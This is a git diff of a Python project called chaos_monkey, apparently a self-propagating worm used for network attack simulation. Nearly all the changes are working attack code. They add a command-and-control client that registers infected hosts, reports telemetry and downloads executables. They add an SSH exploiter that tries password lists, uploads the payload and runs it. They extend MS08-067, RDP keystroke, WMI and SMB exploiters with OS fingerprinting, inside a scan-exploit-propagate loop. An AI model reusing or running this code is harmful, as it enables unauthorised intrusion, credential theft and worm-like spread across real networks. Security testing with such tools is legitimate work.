diff --git a/.gitignore b/.gitignore index ba7466050..6b989643a 100644 --- a/.gitignore +++ b/.gitignore @@ -27,7 +27,6 @@ var/ # Usually these files are written by a python script from a template # before PyInstaller builds the exe, so as to inject date/other infos into it. *.manifest -*.spec # Installer logs pip-log.txt diff --git a/chaos_monkey/control.py b/chaos_monkey/control.py index 3c961e191..a7f1cc82c 100644 --- a/chaos_monkey/control.py +++ b/chaos_monkey/control.py @@ -3,29 +3,122 @@ import json import random import logging import requests -from config import WormConfiguration +import platform +import monkeyfs +from network.info import local_ips +from socket import gethostname, gethostbyname_ex +from config import WormConfiguration, Configuration, GUID -__author__ = 'itamar' +__author__ = 'hoffer' + +requests.packages.urllib3.disable_warnings() LOG = logging.getLogger(__name__) +DOWNLOAD_CHUNK = 1024 class ControlClient(object): - @staticmethod - def get_control_config(): - try: - reply = requests.get("http://%s/orders/%s" % (WormConfiguration.command_server, - "".join([chr(random.randint(0,255)) for _ in range(32)]).encode("base64").strip())) + @staticmethod + def wakeup(parent=None): + for server in WormConfiguration.command_servers: + try: + hostname = gethostname() + if None == parent: + parent = GUID + + WormConfiguration.current_server = server + + monkey = { 'guid': GUID, + 'hostname' : hostname, + 'ip_addresses' : local_ips(), + 'description' : " ".join(platform.uname()), + 'config' : WormConfiguration.as_dict(), + 'parent' : parent + } + + reply = requests.post("https://%s/api/monkey" % (server,), + data=json.dumps(monkey), + headers={'content-type' : 'application/json'}, + verify=False) + + break + + except Exception, exc: + LOG.warn("Error connecting to control server %s: %s", + server, exc) + + @staticmethod + def keepalive(): + try: + reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), + data=json.dumps({}), + headers={'content-type' : 'application/json'}, + verify=False) + except Exception, exc: + LOG.warn("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) + return {} + + @staticmethod + def send_telemetry(tele_type='general',data=''): + try: + telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data' : data} + reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,), + data=json.dumps(telemetry), + headers={'content-type' : 'application/json'}, + verify=False) except Exception, exc: LOG.warn("Error connecting to control server %s: %s", - WormConfiguration.command_server, exc) - return {} + WormConfiguration.current_server, exc) + + @staticmethod + def load_control_config(): + try: + reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), verify=False) + + except Exception, exc: + LOG.warn("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) + return try: - return json.loads(reply._content) - except ValueError, exc: + WormConfiguration.from_dict(reply.json().get('config')) + except Exception, exc: LOG.warn("Error parsing JSON reply from control server %s (%s): %s", - WormConfiguration.command_server, reply._content, exc) - return {} + WormConfiguration.current_server, reply._content, exc) + + @staticmethod + def download_monkey_exe(host): + try: + reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,), + data=json.dumps(host.as_dict()), + headers={'content-type' : 'application/json'}, + verify=False) + + if 200 == reply.status_code: + result_json = reply.json() + filename = result_json.get('filename') + if not filename: + return None + size = result_json.get('size') + dest_file = monkeyfs.virtual_path(filename) + if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file): + return dest_file + else: + download = requests.get("https://%s/api/monkey/download/%s" % (WormConfiguration.current_server, filename), + verify=False) + with monkeyfs.open(dest_file, 'wb') as file_obj: + for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): + if chunk: + file_obj.write(chunk) + file_obj.flush() + if size == monkeyfs.getsize(dest_file): + return dest_file + + except Exception, exc: + LOG.warn("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) + + return None diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py index aa514cf30..466799ea2 100644 --- a/chaos_monkey/dropper.py +++ b/chaos_monkey/dropper.py @@ -8,11 +8,15 @@ import pprint import logging import subprocess from ctypes import c_char_p -from win32process import DETACHED_PROCESS from control import ControlClient from model import MONKEY_CMDLINE from config import WormConfiguration +if "win32" == sys.platform: + from win32process import DETACHED_PROCESS +else: + DETACHED_PROCESS = 0 + __author__ = 'itamar' LOG = logging.getLogger(__name__) @@ -21,14 +25,13 @@ MOVEFILE_DELAY_UNTIL_REBOOT = 4 class MonkeyDrops(object): def __init__(self, args): - if 1 < len(args): - LOG.debug("Invalid arguments count for dropper") - raise ValueError("Invalid arguments count for dropper") - if args: dest_path = os.path.expandvars(args[0]) else: - dest_path = os.path.expandvars(WormConfiguration.dropper_target_path) + dest_path = os.path.expandvars(WormConfiguration.dropper_target_path if sys.platform == "win32" \ + else WormConfiguration.dropper_target_path_linux) + + self._monkey_args = args[1:] self._config = {'source_path': os.path.abspath(sys.argv[0]), 'destination_path': args[0]} @@ -36,8 +39,6 @@ class MonkeyDrops(object): def initialize(self): LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config)) - new_config = ControlClient.get_control_config() - def start(self): # we copy/move only in case path is different file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) @@ -87,6 +88,9 @@ class MonkeyDrops(object): monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path'], } + + if 0 != len(self._monkey_args): + monkey_cmdline = "%s %s" % (monkey_cmdline, " ".join(self._monkey_args)) monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, close_fds=True, creationflags=DETACHED_PROCESS) diff --git a/chaos_monkey/exploit/__init__.py b/chaos_monkey/exploit/__init__.py index de5640f7c..7e820e145 100644 --- a/chaos_monkey/exploit/__init__.py +++ b/chaos_monkey/exploit/__init__.py @@ -1,16 +1,20 @@ - from abc import ABCMeta, abstractmethod __author__ = 'itamar' class HostExploiter(object): __metaclass__ = ABCMeta + _target_os_type = [] + + def is_os_supported(self, host): + return host.os.get('type') in self._target_os_type @abstractmethod - def exploit_host(self, host): + def exploit_host(self, host, src_path=None): raise NotImplementedError() from win_ms08_067 import Ms08_067_Exploiter from wmiexec import WmiExploiter from smbexec import SmbExploiter -from rdpgrinder import RdpExploiter \ No newline at end of file +from rdpgrinder import RdpExploiter +from sshexec import SSHExploiter \ No newline at end of file diff --git a/chaos_monkey/exploit/rdpgrinder.py b/chaos_monkey/exploit/rdpgrinder.py index 356ab7d3c..6a942c96c 100644 --- a/chaos_monkey/exploit/rdpgrinder.py +++ b/chaos_monkey/exploit/rdpgrinder.py @@ -13,12 +13,15 @@ from exploit import HostExploiter from exploit.tools import HTTPTools from model import RDP_CMDLINE_HTTP_BITS from model.host import VictimHost +from network.tools import check_port_tcp +from exploit.tools import get_target_monkey __author__ = 'hoffer' KEYS_INTERVAL = 0.1 MAX_WAIT_FOR_UPDATE = 120 KEYS_SENDER_SLEEP = 0.01 DOWNLOAD_TIMEOUT = 60 +RDP_PORT = 3389 LOG = getLogger(__name__) def twisted_log_func(*message, **kw): @@ -147,7 +150,8 @@ class CMDClientFactory(rdp.ClientFactory): self._domain = domain self._keyboard_layout = "en" # key sequence: WINKEY+R,cmd /v,Enter,&exit,Enter - self._keys = [ScanCodeEvent(91,True,True), + self._keys = [SleepEvent(1), + ScanCodeEvent(91,True,True), ScanCodeEvent(19,True), ScanCodeEvent(19,False), ScanCodeEvent(91,False,True), WaitUpdateEvent()] + str_to_keys("cmd /v") + [WaitUpdateEvent(), ScanCodeEvent(28,True), @@ -205,16 +209,36 @@ class CMDClientFactory(rdp.ClientFactory): self.done_event.set() class RdpExploiter(HostExploiter): + _target_os_type = ['windows'] + def __init__(self): self._config = __import__('config').WormConfiguration + + def is_os_supported(self, host): + if host.os.get('type') in self._target_os_type: + return True + + if not host.os.get('type'): + is_open,_ = check_port_tcp(host.ip_addr, RDP_PORT) + if is_open: + host.os['type'] = 'windows' + return True + return False - def exploit_host(self, host, src_path, port=3389): + def exploit_host(self, host, src_path=None): global g_reactor assert isinstance(host, VictimHost) - if not g_reactor.is_alive(): - g_reactor.daemon = True - g_reactor.start() + is_open,_ = check_port_tcp(host.ip_addr, RDP_PORT) + if not is_open: + LOG.info("RDP port is closed on %r, skipping", host) + return False + + src_path = src_path or get_target_monkey(host) + + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", host) + return False # create server for http download. http_path, http_thread = HTTPTools.create_transfer(host, src_path) @@ -228,6 +252,10 @@ class RdpExploiter(HostExploiter): passwords.remove(known_password) passwords.insert(0, known_password) + if not g_reactor.is_alive(): + g_reactor.daemon = True + g_reactor.start() + exploited = False for password in passwords: try: @@ -239,12 +267,13 @@ class RdpExploiter(HostExploiter): client_factory = CMDClientFactory(self._config.psexec_user, password, "", command) - reactor.connectTCP(host.ip_addr, port, client_factory) + reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory) client_factory.done_event.wait() if client_factory.success: exploited = True + host.learn_credentials(self._config.psexec_user, password) break except Exception, exc: diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index 89a017c3f..15f81b471 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -1,17 +1,10 @@ -#!/usr/bin/env python -############################################################################# -# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled) -# www.hackingspirits.com -# www.coffeeandsecurity.com -# Email: d3basis.m0hanty @ gmail.com -############################################################################# - import sys from logging import getLogger from model.host import VictimHost from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED from exploit import HostExploiter -from exploit.tools import SmbTools +from exploit.tools import SmbTools, get_target_monkey +from network import SMBFinger try: from impacket import smb @@ -32,6 +25,8 @@ except ImportError, exc: LOG = getLogger(__name__) class SmbExploiter(HostExploiter): + _target_os_type = ['windows'] + KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), @@ -41,9 +36,31 @@ class SmbExploiter(HostExploiter): def __init__(self): self._config = __import__('config').WormConfiguration - def exploit_host(self, host, src_path): + def is_os_supported(self, host): + if host.os.get('type') in self._target_os_type: + return True + + if not host.os.get('type'): + is_smb_open,_ = check_port_tcp(host.ip_addr, 445) + if is_smb_open: + smb_finger = SMBFinger() + smb_finger.get_host_fingerprint(host) + else: + is_nb_open,_ = check_port_tcp(host.ip_addr, 139) + if is_nb_open: + host.os['type'] = 'windows' + return super(HostExploiter, self).is_os_supported(host) + return False + + def exploit_host(self, host, src_path=None): assert isinstance(host, VictimHost) + src_path = src_path or get_target_monkey(host) + + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", host) + return False + passwords = list(self._config.psexec_passwords[:]) known_password = host.get_credentials(self._config.psexec_user) if known_password is not None: diff --git a/chaos_monkey/exploit/sshexec.py b/chaos_monkey/exploit/sshexec.py new file mode 100644 index 000000000..3c0bbf085 --- /dev/null +++ b/chaos_monkey/exploit/sshexec.py @@ -0,0 +1,106 @@ +import os +import paramiko +import monkeyfs +import logging +from exploit import HostExploiter +from model import MONKEY_ARG +from exploit.tools import get_target_monkey + +__author__ = 'hoffer' + +LOG = logging.getLogger(__name__) + +class SSHExploiter(HostExploiter): + _target_os_type = ['linux', None] + + def __init__(self): + self._config = __import__('config').WormConfiguration + + def exploit_host(self, host, src_path=None): + ssh = paramiko.SSHClient() + ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) + + passwords = list(self._config.ssh_passwords[:]) + known_password = host.get_credentials(self._config.ssh_user) + if known_password is not None: + if known_password in passwords: + passwords.remove(known_password) + passwords.insert(0, known_password) + + exploited = False + for password in passwords: + try: + ssh.connect(host.ip_addr, + username=self._config.ssh_user, + password=password) + + LOG.debug("Successfully logged in %r using SSH (%s : %s)", + host, self._config.ssh_user, password) + host.learn_credentials(self._config.ssh_user, password) + exploited = True + break + + except Exception, exc: + LOG.debug("Error logging into victim %r with user" + " %s and password '%s': (%s)", host, + self._config.ssh_user, password, exc) + continue + + if not exploited: + LOG.debug("Exploiter SSHExploiter is giving up...") + return False + + if not host.os.get('type'): + try: + _, stdout, _ = ssh.exec_command('uname -o') + uname_os = stdout.read().lower().strip() + if 'linux' in uname_os: + host.os['type'] = 'linux' + else: + LOG.info("SSH Skipping unknown os: %s", uname_os) + return False + except Exception, exc: + LOG.debug("Error running uname os commad on victim %r: (%s)", host, exc) + return False + + if not host.os.get('machine'): + try: + _, stdout, _ = ssh.exec_command('uname -m') + uname_machine = stdout.read().lower().strip() + if '' != uname_machine: + host.os['machine'] = uname_machine + except Exception, exc: + LOG.debug("Error running uname machine commad on victim %r: (%s)", host, exc) + + + src_path = src_path or get_target_monkey(host) + + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", host) + return False + + try: + ftp = ssh.open_sftp() + + with monkeyfs.open(src_path) as file_obj: + ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path)) + ftp.chmod(self._config.dropper_target_path_linux, 0777) + + ftp.close() + except Exception, exc: + LOG.debug("Error uploading file into victim %r: (%s)", host, exc) + return False + + try: + cmdline = "%s %s&" % (self._config.dropper_target_path_linux, MONKEY_ARG) + ssh.exec_command(cmdline) + + LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", + self._config.dropper_target_path_linux, host, cmdline) + + ssh.close() + return True + + except Exception, exc: + LOG.debug("Error running monkey on victim %r: (%s)", host, exc) + return False \ No newline at end of file diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index 62d8ea017..8ce044b56 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -6,7 +6,9 @@ import logging import os.path import socket import urllib +import monkeyfs from difflib import get_close_matches +from network import local_ips from transport import HTTPServer from impacket.dcerpc.v5 import transport, srvs from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError @@ -160,10 +162,10 @@ class WmiTools(object): class SmbTools(object): @staticmethod def copy_file(host, username, password, src_path, dst_path): - assert os.path.isfile(src_path), "Source file to copy (%s) is missing" % (src_path, ) + assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path, ) config = __import__('config').WormConfiguration - src_file_size = os.stat(src_path).st_size + src_file_size = monkeyfs.getsize(src_path) smb, dialect = SmbTools.new_smb_connection(host, username, password) if not smb: @@ -270,7 +272,7 @@ class SmbTools(object): pass # file isn't found on remote victim, moving on try: - with open(src_path, 'rb') as source_file: + with monkeyfs.open(src_path, 'rb') as source_file: smb.putFile(share_name, remote_path, source_file.read) file_uploaded = True @@ -352,11 +354,27 @@ class HTTPTools(object): @staticmethod def create_transfer(host, src_path, local_ip=None, local_port=4444): if None == local_ip: - local_hostname = socket.gethostname() - local_ip = get_close_matches(host.ip_addr, socket.gethostbyname_ex(local_hostname)[2])[0] + local_ip = get_close_matches(host.ip_addr, local_ips())[0] httpd = HTTPServer(local_ip, local_port, src_path) httpd.daemon = True httpd.start() - return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd \ No newline at end of file + return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + + +def get_target_monkey(host): + from control import ControlClient + + if host.monkey_exe: + return host.monkey_exe + + if not host.os.get('type'): + return None + + cc_download = ControlClient.download_monkey_exe(host) + + if host.os.get('machine') and cc_download: + host.monkey_exe = cc_download + + return cc_download \ No newline at end of file diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py index fd367a281..82eae5218 100644 --- a/chaos_monkey/exploit/win_ms08_067.py +++ b/chaos_monkey/exploit/win_ms08_067.py @@ -14,7 +14,7 @@ from logging import getLogger from model.host import VictimHost from model import DROPPER_CMDLINE, MONKEY_CMDLINE from exploit import HostExploiter -from exploit.tools import SmbTools +from exploit.tools import SmbTools, get_target_monkey try: from impacket import smb @@ -163,15 +163,42 @@ class SRVSVC_Exploit(object): return dce_packet class Ms08_067_Exploiter(HostExploiter): + _target_os_type = ['windows'] + _windows_versions = {'Windows Server 2003 3790 Service Pack 2' : WindowsVersion.Windows2003_SP2, + 'Windows Server 2003 R2 3790 Service Pack 2' : WindowsVersion.Windows2003_SP2} + def __init__(self): self._config = __import__('config').WormConfiguration - def exploit_host(self, host, src_path): + def is_os_supported(self, host): + if host.os.get('type') in self._target_os_type and \ + host.os.get('version') in self._windows_versions.keys(): + return True + + if not host.os.get('type') or (host.os.get('type') in self._target_os_type and \ + not host.os.get('version')): + is_smb_open,_ = check_port_tcp(host.ip_addr, 445) + if is_smb_open: + smb_finger = SMBFinger() + if smb_finger.get_host_fingerprint(host): + return host.os.get('type') in self._target_os_type and \ + host.os.get('version') in self._windows_versions.keys() + return False + + def exploit_host(self, host, src_path=None): assert isinstance(host, VictimHost) + src_path = src_path or get_target_monkey(host) + + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", host) + return False + + os_version = self._windows_versions.get(host.os.get('version'), WindowsVersion.Windows2003_SP2) + exploited = False for _ in range(self._config.ms08_067_exploit_attempts): - exploit = SRVSVC_Exploit(target_addr=host.ip_addr) + exploit = SRVSVC_Exploit(target_addr=host.ip_addr, os_version=os_version) try: sock = exploit.start() diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index 6c2260692..172354445 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -6,18 +6,26 @@ import traceback from model import DROPPER_CMDLINE, MONKEY_CMDLINE, MONKEY_CMDLINE_HTTP from model.host import VictimHost from exploit import HostExploiter -from exploit.tools import SmbTools, WmiTools, HTTPTools, AccessDeniedException +from exploit.tools import SmbTools, WmiTools, HTTPTools, AccessDeniedException, get_target_monkey LOG = logging.getLogger(__name__) class WmiExploiter(HostExploiter): + _target_os_type = ['windows'] + def __init__(self): self._config = __import__('config').WormConfiguration @WmiTools.dcom_wrap - def exploit_host(self, host, src_path): + def exploit_host(self, host, src_path=None): assert isinstance(host, VictimHost) + src_path = src_path or get_target_monkey(host) + + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", host) + return False + passwords = list(self._config.psexec_passwords[:]) known_password = host.get_credentials(self._config.psexec_user) if known_password is not None: @@ -89,7 +97,6 @@ class WmiExploiter(HostExploiter): LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline) success = True - raw_input() else: LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline) diff --git a/chaos_monkey/main.py b/chaos_monkey/main.py index 909d48418..a47d803a4 100644 --- a/chaos_monkey/main.py +++ b/chaos_monkey/main.py @@ -4,10 +4,12 @@ import sys import logging import traceback import logging.config -from config import WormConfiguration +from config import WormConfiguration, EXTERNAL_CONFIG_FILE from model import MONKEY_ARG, DROPPER_ARG from dropper import MonkeyDrops from monkey import ChaosMonkey +import getopt +import json __author__ = 'itamar' @@ -36,7 +38,27 @@ def main(): return True monkey_mode = sys.argv[1] - monkey_args = sys.argv[2:] + + if not monkey_mode in [MONKEY_ARG, DROPPER_ARG]: + return True + + config_file = EXTERNAL_CONFIG_FILE + + opts, monkey_args = getopt.getopt(sys.argv[2:], "c:", ["config="]) + for op, val in opts: + if op in ("-c", "--config"): + config_file = val + break + + if os.path.isfile(config_file): + # using print because config can also change log locations + print "Loading config from %s." % config_file + try: + with open(config_file) as config_fo: + json_dict = json.load(config_fo) + WormConfiguration.from_dict(json_dict) + except ValueError: + print "Error loading config, using default." try: if MONKEY_ARG == monkey_mode: @@ -71,6 +93,12 @@ def main(): try: monkey.start() + + if WormConfiguration.serialize_config: + with open(config_file, 'w') as config_fo: + json_dict = WormConfiguration.as_dict() + json.dump(json_dict, config_fo) + return True finally: monkey.cleanup() diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py index 995aa3243..40b15c521 100644 --- a/chaos_monkey/monkey.py +++ b/chaos_monkey/monkey.py @@ -2,10 +2,12 @@ import sys import time import logging +import platform from system_singleton import SystemSingleton from control import ControlClient -from config import WormConfiguration +from config import WormConfiguration, EXTERNAL_CONFIG_FILE from network.network_scanner import NetworkScanner +import getopt __author__ = 'itamar' @@ -26,6 +28,8 @@ class ChaosMonkey(object): self._exploited_machines = set() self._fail_exploitation_machines = set() self._singleton = SystemSingleton() + self._parent = None + self._args = args def initialize(self): LOG.info("WinWorm is initializing...") @@ -33,27 +37,50 @@ class ChaosMonkey(object): if not self._singleton.try_lock(): raise Exception("Another instance of the monkey is already running") - self._network = NetworkScanner() - self._network.initialize() - self._keep_running = True - self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes] - self._dropper_path = sys.argv[0] + opts, self._args = getopt.getopt(self._args, "p:", ["parent="]) + for op, val in opts: + if op in ("-p", "--parent"): + self._parent = val + break + + self._keep_running = True + self._network = NetworkScanner() + self._dropper_path = sys.argv[0] + self._os_type = platform.system().lower() + self._machine = platform.machine().lower() + + ControlClient.wakeup(self._parent) + ControlClient.load_control_config() - new_config = ControlClient.get_control_config() def start(self): LOG.info("WinWorm is running...") for _ in xrange(WormConfiguration.max_iterations): - new_config = ControlClient.get_control_config() + ControlClient.keepalive() + ControlClient.load_control_config() - if not self._keep_running: + self._network.initialize() + + self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes] + + self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes] + + if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines(WormConfiguration.scanner_class, max_find=WormConfiguration.victims_max_find) for machine in machines: + for finger in self._fingerprint: + LOG.info("Trying to get OS fingerprint from %r with module %s", + machine, finger.__class__.__name__) + finger.get_host_fingerprint(machine) + + ControlClient.send_telemetry('scan', {'machine': machine.as_dict(), + 'scanner' : WormConfiguration.scanner_class.__name__}) + # skip machines that we've already exploited if machine in self._exploited_machines: LOG.debug("Skipping %r - already exploited", @@ -66,11 +93,16 @@ class ChaosMonkey(object): successful_exploiter = None for exploiter in self._exploiters: + if not exploiter.is_os_supported(machine): + LOG.info("Skipping exploiter %s host:%r, os is not supported", + exploiter.__class__.__name__, machine) + continue + LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) try: - if exploiter.exploit_host(machine, self._dropper_path): + if exploiter.exploit_host(machine): successful_exploiter = exploiter break else: @@ -83,6 +115,8 @@ class ChaosMonkey(object): if successful_exploiter: self._exploited_machines.add(machine) + ControlClient.send_telemetry('exploit', {'machine': machine.__dict__, + 'exploiter': successful_exploiter.__class__.__name__}) LOG.info("Successfully propagated to %s using %s", machine, successful_exploiter.__class__.__name__) @@ -96,6 +130,7 @@ class ChaosMonkey(object): else: self._fail_exploitation_machines.add(machine) + time.sleep(WormConfiguration.timeout_between_iterations) if self._keep_running: diff --git a/chaos_monkey/monkeyfs.py b/chaos_monkey/monkeyfs.py new file mode 100644 index 000000000..4b5c07af4 --- /dev/null +++ b/chaos_monkey/monkeyfs.py @@ -0,0 +1,53 @@ +from io import BytesIO +import os + +__author__ = 'hoffer' + +MONKEYFS_PREFIX = 'monkeyfs://' + +class VirtualFile(BytesIO): + _vfs = {} #virtual File-System + + def __init__(self, name, mode = 'r', buffering = None): + if not name.startswith(MONKEYFS_PREFIX): + name = MONKEYFS_PREFIX + name + self.name = name + self._mode = mode + if VirtualFile._vfs.has_key(name): + super(VirtualFile, self).__init__(self._vfs[name]) + else: + super(VirtualFile, self).__init__('') + + def flush(self): + super(VirtualFile, self).flush() + VirtualFile._vfs[self.name] = self.getvalue() + + @staticmethod + def getsize(path): + return len(VirtualFile._vfs[path]) + + @staticmethod + def isfile(path): + return VirtualFile._vfs.has_key(path) + +def getsize(path): + if path.startswith(MONKEYFS_PREFIX): + return VirtualFile.getsize(path) + else: + return os.stat(path).st_size + +def isfile(path): + if path.startswith(MONKEYFS_PREFIX): + return VirtualFile.isfile(path) + else: + return os.path.isfile(path) + +def virtual_path(name): + return "%s%s" % (MONKEYFS_PREFIX, name) + +def open(name, mode='r', buffering=-1): + #use normal open for regular paths, and our "virtual" open for monkeyfs:// paths + if name.startswith(MONKEYFS_PREFIX): + return VirtualFile(name, mode, buffering) + else: + return open(name, mode=mode, buffering=buffering) diff --git a/chaos_monkey/network/info.py b/chaos_monkey/network/info.py new file mode 100644 index 000000000..10a12abf8 --- /dev/null +++ b/chaos_monkey/network/info.py @@ -0,0 +1,42 @@ +import sys +import socket +import struct +import array + +__author__ = 'hoffer' + +if sys.platform == "win32": + def local_ips(): + local_hostname = socket.gethostname() + return socket.gethostbyname_ex(local_hostname)[2] + +else: + import fcntl + def local_ips(): + result = [] + try: + is_64bits = sys.maxsize > 2**32 + struct_size = 40 if is_64bits else 32 + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + max_possible = 8 # initial value + while True: + bytes = max_possible * struct_size + names = array.array('B', '\0' * bytes) + outbytes = struct.unpack('iL', fcntl.ioctl( + s.fileno(), + 0x8912, # SIOCGIFCONF + struct.pack('iL', bytes, names.buffer_info()[0]) + ))[0] + if outbytes == bytes: + max_possible *= 2 + else: + break + namestr = names.tostring() + + for i in range(0, outbytes, struct_size): + addr = socket.inet_ntoa(namestr[i+20:i+24]) + if not addr.startswith('127'): + result.append(addr) + #name of interface is (namestr[i:i+16].split('\0', 1)[0] + finally: + return result \ No newline at end of file diff --git a/chaos_monkey/network/network_scanner.py b/chaos_monkey/network/network_scanner.py index 0aad461b8..c6f3bfa27 100644 --- a/chaos_monkey/network/network_scanner.py +++ b/chaos_monkey/network/network_scanner.py @@ -4,6 +4,7 @@ import socket import logging from network import HostScanner from config import WormConfiguration +from info import local_ips __author__ = 'itamar' @@ -18,8 +19,7 @@ class NetworkScanner(object): def initialize(self): # get local ip addresses - local_hostname = socket.gethostname() - self._ip_addresses = socket.gethostbyname_ex(local_hostname)[2] + self._ip_addresses = local_ips() if not self._ip_addresses: raise Exception("Cannot find local IP address for the machine") diff --git a/chaos_monkey/network/tools.py b/chaos_monkey/network/tools.py new file mode 100644 index 000000000..c415bd9a7 --- /dev/null +++ b/chaos_monkey/network/tools.py @@ -0,0 +1,44 @@ +import socket +import select + +DEFAULT_TIMEOUT = 30 +BANNER_READ = 1024 + +def check_port_tcp(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False): + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + + try: + sock.connect((ip, port)) + except socket.error: + return (False, None) + + banner = None + + try: + if get_banner: + read_ready, _, _ = select.select([sock], [], [], timeout) + if len(read_ready) > 0: + banner = sock.recv(BANNER_READ) + except: + pass + + sock.close() + return (True, banner) + +def check_port_udp(ip, port, timeout=DEFAULT_TIMEOUT): + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(timeout) + + data = None + is_open = False + + try: + sock.sendto("-", (ip, port)) + data, _ = sock.recvfrom(BANNER_READ) + is_open = True + except: + pass + sock.close() + + return (is_open, data) \ No newline at end of file diff --git a/chaos_monkey/transport/http.py b/chaos_monkey/transport/http.py index e1d357174..c62e949d9 100644 --- a/chaos_monkey/transport/http.py +++ b/chaos_monkey/transport/http.py @@ -1,6 +1,7 @@ import urllib, BaseHTTPServer, threading, os.path import shutil import struct +import monkeyfs from logging import getLogger __author__ = 'hoffer' @@ -39,7 +40,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): total += chunk start_range += chunk - if f.tell() == os.fstat(f.fileno()).st_size: + if f.tell() == monkeyfs.getsize(self.filename): self.report_download() f.close() @@ -56,10 +57,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): return f = None try: - # Always read in binary mode. Opening files in text mode may cause - # newline translations, making the actual size of the content - # transmitted *less* than the content-length! - f = open(self.filename, 'rb') + f = monkeyfs.open(self.filename, 'rb') except IOError: self.send_error(404, "File not found") return (None, 0, 0)